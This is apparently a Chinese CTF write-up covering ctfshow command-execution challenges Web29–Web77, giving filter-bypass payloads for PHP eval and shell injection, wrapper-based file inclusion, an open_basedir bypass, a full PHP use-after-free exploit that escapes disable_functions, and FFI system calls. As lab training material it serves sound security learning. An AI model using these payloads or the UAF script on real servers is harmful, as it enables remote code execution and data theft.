ctfshow-Web入门-命令执行wp

发布时间 2023-12-11 14:57:09作者: 2xixi3

Web29:

​ 简单的命令执行,使用/i模式过滤大小写flag,可以使用通配符绕过过滤。

image-20231209123049792

Web30:

​ 比上一题多过滤system与php,可以使用其他函数来执行命令,具体可以参考PHP中常见的命令执行函数与代码执行函数_-passthru-CSDN博客

注意:	
	system(),passthru()自动输出结果          
	exec(),shell_exec()需要打印(echo/print)结果,且exec()仅打印最后一行

image-20231209124230640

Web31:

​ 多过滤cat,sort,shell,'.',空格,'''

​ cat,sort可用其他查询命令,如tac,nl等;使用passthru绕过命令执行函数;'''单引号使用双引号绕过。

​ 空格绕过可以写个脚本列出绕过空格的字符串一一进行尝试

"""
%20 空格
%09 TAB(水平)
%0a 新的一行
%0c 新的一页
%od return
%ob TAB(垂直)
%a0 空格
/**/ sql注释绕过
${IFS}
$IFS$9

"""
dit=('%20','%09','%0a','%0c','%0d','%a0','/**/','$IFS','${IFS}')
temp_payload="tac fla*"
for i in range(len(dit)):
    payload=temp_payload.replace(' ',dit[i])
    print("the replace str is:{}\n the replace payload is:  {}".format(dit[i],payload))
    print("-------------------------------------------------")

image-20231209124442925

​ payload:?c=passthru("tac%09fla*");

image-20231209130631067

​ 看其他师傅的wp(https://ctf.show/writeups/806344)发现还有好多其他方法:

方法一:
可以尝试通过嵌套eval函数来获取另一个参数的的方法来绕过,因为这里只判断了c这个参数,并不会判断其他参数的传入

c=eval($_GET[a]);&a=system('cat flag.php');

这里注意后面是a的参数,而不是c的参数,这个payload共传递了两个参数,第一个为嵌套eval第二个为向嵌套的eval传入参数

方法二(无参数rce):
可以利用已知的其他函数来凑出所需要的字符串来绕过

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码

Web32:

​ 多过滤|`|echo|;|\(

​ 没有过滤include,可以使用include+伪协议进行文件读取

	payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

image-20231209133330130

Web33:

​ 多过滤' " '(双引号),方法同上

Web34:

​ 多过滤' : ',include已经将语句闭合,不影响后面伪协议代码,payload同Web32

Web35:

​ 多过滤' < ',' = ',payload同Web32

Web36:

​ 多过滤' / ',数字,没过滤字符,将Web32的payload1改成a继续用

Web37:

​ 题目使用include包含输入,使用php的伪协议data进行文件读取

用法:

data://text/plain,     data://text/plain;base64,
payload:?c=data://text/plain,<?php system('tac fla*');?>

image-20231209204716320

Web38:

​ 过滤php,file,使用短标签或者base64编码绕过

<?= ?> == <?php echo?>
payload: ?c=data://text/plain,<?= system('tac fla*');?>

image-20231209210001238

Web39:

​ 强制给include添加后缀无法阻止伪协议内的php代码执行,只会在代码执行后报错

​ payload同上

Web40:

​ 过滤大多数符号和数字,但是过滤的括号为中文括号,所以可以使用无参数rce

参考师傅们的wp:

法一:

c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

payload:
	?c=eval(array_pop(next(get_defined_vars())));
	Post: 1=system("tac flag.php") 

image-20231209212458971

法二:

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

payload:
	c=show_source(next(array_reverse(scandir(getcwd()))));
	c=show_source(next(array_reverse(scandir(pos(localeconv())))));

image-20231209212434778

Web41:

参考羽师傅博客

​ 过滤字母,数字以及大部分运算符,但未过滤或运算符“|”,

​ 可采用先从asscii码中找到或运算能得到可用的字符,然后从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。

Web42:

​ 过滤如下:

image-20231209213826991

/dev/null:将输出的所有数据输入进一个不保存的临时文件(无回显)[黑洞文件]
2>&1:将错误输出重定向指向标准输出,一并输入进临时文件

​ 使用;或者%09分隔为两条命令,将后一条命令执行结果输入黑洞文件。

payload:c=tac flag.php;

image-20231209214119659

Web43:

​ 过滤' ; ','cat',可以使用%0a,||等进行过滤

payload:c=tac flag.php||

image-20231209214558302

Web44:

​ 多过滤flag,通配符绕过

image-20231209214910724

Web45:

​ 多过滤空格,用${IFS}或者$IFS$9绕过

image-20231210163900752

Web46:

​ 多过滤数字,' $ ',' * '。

​ 法一:虽然过滤了数字,但是仍然可以用%09来绕过空格,%09会先进行url解码再被过滤规则判断。

image-20231210165041866

​ 法二:使用重定向符(' < ')将flag.php的内容传递给tac进行输出。

​ (使用重定向符后不能使用?不然不会回显,可以使用\或者''进行分隔)

“<”与“>”的用法:

在 Linux 命令行中,< 和 > 符号是用来进行输入输出重定向的。它们的详细用法如下:

< 符号:将文件内容作为命令的输入
可以使用 < 符号将一个文件的内容作为命令的输入,例如:

$ cat < input.txt
上述命令将会把文件 input.txt 的内容作为 cat 命令的输入,然后输出到终端。

> 符号:将命令的输出保存到文件中
可以使用 > 符号将命令的输出保存到一个文件中,例如:

$ ls -l > output.txt
上述命令将会执行 ls -l 命令,并将输出结果保存到 output.txt 文件中。

>> 符号:将命令的输出追加到文件末尾
和 > 符号类似,>> 符号可以将命令的输出保存到一个文件中,但是它会将输出内容追加到文件末尾,而不是覆盖文件原有的内容,例如:

$ echo "Hello" >> output.txt
$ echo "World" >> output.txt
上述命令将会分别把字符串 "Hello" 和 "World" 追加到 output.txt 文件的末尾。

2> 和 2>> 符号:将命令的错误输出保存到文件中
有些命令在执行时可能会产生错误输出,可以使用 2> 和 2>> 符号将错误输出保存到一个文件中,例如:

$ ls -l /not/exist 2> error.txt
上述命令将会执行 ls -l /not/exist 命令,但是由于 /not/exist 文件不存在,会产生一个错误输出,这个错误输出会被保存到 error.txt 文件中。

Web47-50:

​ 多过滤一些查询的命令,payload同Web46

image-20231210170142767

Web51:

​ 过滤tac,使用nl查询

Web52:

​ 过滤重定向符,但是' $ '放出来了,继续使用${IFS}绕过空格,nl查看不在网站目录,ls查看根目录存在flag。

image-20231210171241729

Web53:

​ 添加命令的回显,system()成功则返回命令输出的最后一行,失败则返回 false

image-20231210172102898

payload:?c=nl${IFS}fla?.php

image-20231210172252901

Web54:

​ 使用正则匹配命令,可使用未过滤的uniq,grep进行查找,也可以使用mv或者cp对文件重命名进行访问

image-20231210174921526

Web55:

​ 过滤字符,可以使用通配符调用/bin/base64来对flag.php进行输出

payload:?c=/???/????64 ????.??? 

image-20231210180855887

Web56:

​ 字母数字全过滤,参考

Web57:

​ 过滤数字字符,可以利用特性来构建数字

echo ${_}:返回上一次命令的执行结果,若上一次没有命令输出0
可用
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反
payload:
/?c=$((~$((]$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

image-20231211095357478

Web58~65:

​ php.ini在后台对system,shell_exec等常见命令执行函数进行过滤,可以调用php内置函数进行文件读取,参考

常见文件读取函数:
file_get_contents   
fread
fgets
fgetss
file
parse_ini_file
readfile    
highlight_file  
show_source 
<?php
// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;

// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024);     // 参数为 resource 类型
fclose($file);
echo PHP_EOL;

// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");      
echo fgets($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;

// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");     
echo fgetss($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;

// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt");      // 看到不仅输出了所有内容,而且还输出了总共长度
echo PHP_EOL;

// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt'));      // 读取结果为数组,所以需要用 print_r 或 var_dump 
echo PHP_EOL;

// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt");        // 只能读取 ini 配置文件
echo PHP_EOL;

// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;

// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;
?>

image-20231211110228179

Web66:

​ 使用highlight_file()读取文件,目录下的flag.php为假flag,调用print_r与scandir()来代替ls查看目录,可以参考这篇文章看echo(),print(),print_r()的区别,简单来说就是print_r可以打印数组。

image-20231211111458518

web67:

​ 比上题多过滤print_r();用var_dump()输出

web68:

​ 比上题多过滤highlight_file();用require()或者include()

web69:

​ 比上题多过滤var_dump();用var_export()代替

冷门函数
打印函数:print、echo
print和echo无法打印数组,利用implode函数将数组转换成字符串再打印
查看目录下文件:scandir
读取函数readgzfile:可以读取非gz格式的文件
payload:?c=echo(implode('---',scandir("/")));
       	 ?c=readgzfile('/flag.txt');

web70:

​ 过滤 error_reporting(),ini_set();

​ 同上

Web71:

​ 查看源码:

image-20231211113052846

ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

先执行$c,然后将结果放在缓冲区,将缓冲区的所有字母和数字替换为?.

可以在执行$c时使用die(),exit()直接退出缓冲区进行输出。

​ 查看flag.php无返回,继续使用var_export(scandir('/'))扫描目录,include读取文件。

image-20231211113722629

Web72:

​ 使用了open_basedir进行文件访问限制,可以使用使用glob://伪协议绕过open_basedir,可以参考shu师傅的博客[ctfshow]web入门——命令执行(web72-web77)_命令执行 web72-CSDN博客

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

image-20231211114844615

使用include()访问发现没有权限,使用群里师傅们的uaf脚本进行文件读取

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

使用uaf脚本时记得对内容进行url编码

image-20231211115320462

web73:

同上,扫描出来文件名为flagc.txt,但是可以直接include()包含

web74:

同上,扫描出来文件名为flagx.txt,但是可以直接include()包含

Web75:

​ 过滤include;

​ 法一:uaf strlen()函数被过滤,应该可以重写strlen()函数过滤

​ 法二:用PDO连接数据库进行查询

先查询文件名
c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

web76:

​ 同上,文件名为flag36d.txt.

web77:

​ 关闭PDO连接数据库,使用FFi调用c语言来实现命令执行

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
访问1.txt